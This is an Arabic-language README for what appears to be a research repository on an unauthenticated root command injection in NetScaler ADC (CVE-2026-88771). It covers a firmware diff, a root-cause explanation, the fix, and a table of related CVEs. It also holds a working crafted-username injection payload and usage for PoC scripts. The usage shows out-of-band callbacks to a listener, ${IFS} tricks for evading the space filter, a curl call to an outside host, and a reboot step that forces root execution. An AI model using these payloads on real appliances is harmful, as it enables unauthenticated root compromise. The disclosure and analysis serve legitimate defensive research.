
تحليل فروق البرامج الثابتة، وكتابة تحليل السبب الجذري، وإثبات مفهوم عامل لثغرة حقن الأوامر غير المصادق عليها في NetScaler ADC (CVE-2026-88771) المؤدية إلى تنفيذ بصلاحيات الجذر.
تنفيذ أوامر عشوائية دون مصادقة (بصلاحيات الجذر) في Citrix ADC (NetScaler) 14.1-66.59 و14.1-72.61. تم إصلاحها في 14.1-73.37 (و13.1-64.23). CVSS 9.5، تؤثر على عمليات النشر الافتراضية، دون الحاجة إلى أي ميزة إضافية.
يحتوي هذا المستودع على تحليل فروقات البرنامج الثابت، والأدلة المستخرجة على الثغرة، وإثبات مفهوم عامل.
analysis/CVE-2026-88771_STAGE_BY_STAGE.mdanalysis/CVE-2026-88771_ROOT_CAUSE.mdpoc/ — انظر poc/README.mdتُسجَّل محاولة تسجيل دخول إدارية فاشلة وغير مُصادَقة في /var/log/ns.log
مع اسم المستخدم الذي يتحكم به المهاجم. عامل القياس عن بُعد الجذري المُفعَّل
افتراضيًا (admautoregd، المُضمَّن في mastools_scripts.tgz الخارجي للبرنامج الثابت)
يشغّل دوريًا /netscaler/ns_monuploadd_err.pl -WR. في الإصدارات
المُعرَّضة للثغرة، يمرّر ذلك الفرع أسطر السجل المطابقة عبر سلسلة واسعة من grep | sed | awk
ويُدرج النتيجة دون تنصيص داخل أمر shell:
# evidence/rootfs-72.61/netscaler/ns_monuploadd_err.pl:368-377 (14.1-66.59 / 72.61)
my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |
tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`;
...
my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;
اسم مستخدم مُصمَّم مثل pitboss NSPPE-00;id>/tmp/pwned;# unexpectedly died
ينجو من خط المعالجة كرمز shell وهو NSPPE-00;id>/tmp/pwned;#-unexpectedly،
لذا يُشغِّل مصرف backtick الأمر find ... -name NSPPE-00، ثم id>/tmp/pwned (بصلاحيات root)،
ثم تعليق #.
POST غير مُصادَق عليه
إلى /nitro/v1/config/login
(evidence/gui-72.61/admin_ui/nitro/nitro.php)؛
ويمرِّر متحكِّم تسجيل الدخول في المتصفح username/password حرفيًا
(evidence/gui-72.61/admin_ui/php/application/controllers/Login.php).length < 128 لاسم المستخدم — دون قائمة أحرف مسموح بها
(إعادة التفكيك في analysis/nsppe_api_login_799b90.c)./var/log/ns.log بصفتها
CMD_EXECUTED مع اسم المستخدم في السجل (إعادة تفكيك المُنسِّق:
analysis/nsppe_cmdexecuted_decomp.c).nsstartpe.sh → admautoregd_ctl startup، بصلاحيات root)، وعند أول فحص له
وكل 24 ساعة يُشغِّل CHECK_PE_FAILURE_CMD = '/netscaler/ns_monuploadd_err.pl -WR'
عبر subprocess.Popen
(evidence/mastools-72.61/scripts/admautoreg/constant.py).-WR في ns_monuploadd_err.pl الرمز المستخرَج من السجل
دون تنصيص داخل أمر backtick — تنفيذ أوامر بصلاحيات root، قبل أي فحص لوجود ملف core.أُصلِح الشقّان معًا:
ns_monuploadd_err.pl خط المعالجة بتعبير نمطي Perl صارم
(NSPPE-\d{2} + PID رقمي فقط) ويستدعي find عبر صيغة القائمة
open '-|' (دون shell) — انظر
evidence/rootfs-73.37/netscaler/ns_monuploadd_err.pl.admautoregd بالكامل: CHECK_PE_FAILURE_CMD،
و_check_disk_pe_failure()، وget_pe_failure_info() كلها لم تعد موجودة في
حزمة mastools الخاصة بـ 73.37 — قارن
evidence/mastools-72.61/ مع
evidence/mastools-73.37/.CVE-2026-88771 هي واحدة من ثماني ثغرات CVE في نشرة Citrix المنسَّقة. وفقًا للنشرة ولمقالة watchTowr العامة، فإن المجموعة وتصنيفها كالتالي:
| CVE | الوصف | CVSS 4.0 | مُستغَلَّة فعليًا |
|---|---|---|---|
| CVE-2026-88771 | حقن أوامر قبل المصادقة (هذا المستودع) — التكوين الافتراضي | 9.5 حرجة | نعم |
| CVE-2026-88772 | تجاوز سعة الذاكرة (RCE/DoS) عند تفعيل DTLS — الافتراضي لخوادم VPN vServers | 9.5 حرجة | نعم |
| CVE-2026-88773 | تهريب طلبات HTTP — يعتمد على التكوين | 9.3 حرجة | لا |
| CVE-2026-88774 | يعتمد على التكوين | 7.0 عالية | لا |
| CVE-2026-88775 | تجاوز سعة الذاكرة — يعتمد على التكوين | 8.8 عالية | لا |
| CVE-2026-88776 | تجاوز سعة الذاكرة — يعتمد على التكوين | 8.8 عالية | لا |
| CVE-2026-88777 | تجاوز سعة الذاكرة — يعتمد على التكوين | 8.8 عالية | لا |
| CVE-2026-88778 | ISN قابل للتنبؤ — يُصلَح بتفعيل Enhanced ISN Generation، وليس بالترقية وحدها | 8.8 عالية | لا |
الإصدارات المُصلَحة وفقًا للنشرة (وليس فقط زوجَي 14.1 / 13.1 أعلاه):
للاختبار المُصرَّح به فقط. الجانب البعيد هو طلب HTTPS واحد غير مُصادَق عليه
من نوع POST؛ ويُشغَّل الأمر المحقون لاحقًا بصلاحيات root، عندما ينفِّذ عامل
القياس عن بُعد فحص فشل PE الخاص به كل 24 ساعة (إعادة تشغيل الجهاز، أو
إعادة تشغيل admautoregd، تُجبره على ذلك).
# OOB out-of-band callback to your own listener (--callback or CVE88771_CALLBACK):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --callback https://your-listener.example
# Custom command (no '(', ')', spaces, '?', '&'; use ${IFS} for spaces):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 \
--cmd 'id>/tmp/cve88771_ef60f0de46d9'
# Repeat the trigger
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --count 3
توقّع HTTP 401 — فشل تسجيل الدخول هو بالضبط ما يكتب سطر التدقيق.
ثم على الجهاز (أو بالانتظار حتى 24 ساعة) شغّل الـ worker:
reboot
# or: /bin/sh /var/mastools/scripts/admautoreg/admautoregd_ctl restart
تحقق من تنفيذ الجذر: يجب أن يُظهر ls -l /tmp/cve88771_ef60f0de46d9
root:wheel.
يفرض نفس قواعد الحمولة: يُرفض الأمر الذي يحتوي على مسافة حرفية أو ( أو ) أو ?
أو & قبل الإرسال (الخروج 2). استخدم ${IFS} للمسافات.
python3 poc/cve_2026_88771_poc.py 10.0.0.5 'id>/tmp/cve88771_ef60f0de46d9'
python3 poc/cve_2026_88771_poc.py netscaler.local 'id>/tmp/pwned' --port 8443
python3 poc/cve_2026_88771_poc.py 10.0.0.5 'id' --marker # random marker path
# command needs a space? use ${IFS} (no literal spaces allowed):
python3 poc/cve_2026_88771_poc.py 10.0.0.5 '/usr/bin/curl${IFS}-sk${IFS}http://10.0.0.9/88771'
تؤكد أن خط المعالجة المعرّض للثغرات يمرر أحرفًا ذات دلالة خاصة في shell إلى نقطة التصريف الخاصة به، دون تنفيذ أي شيء:
python3 poc/safe_cve_2026_88771_parser_poc.py
python3 -m unittest discover -s poc -p 'test_*.py' -v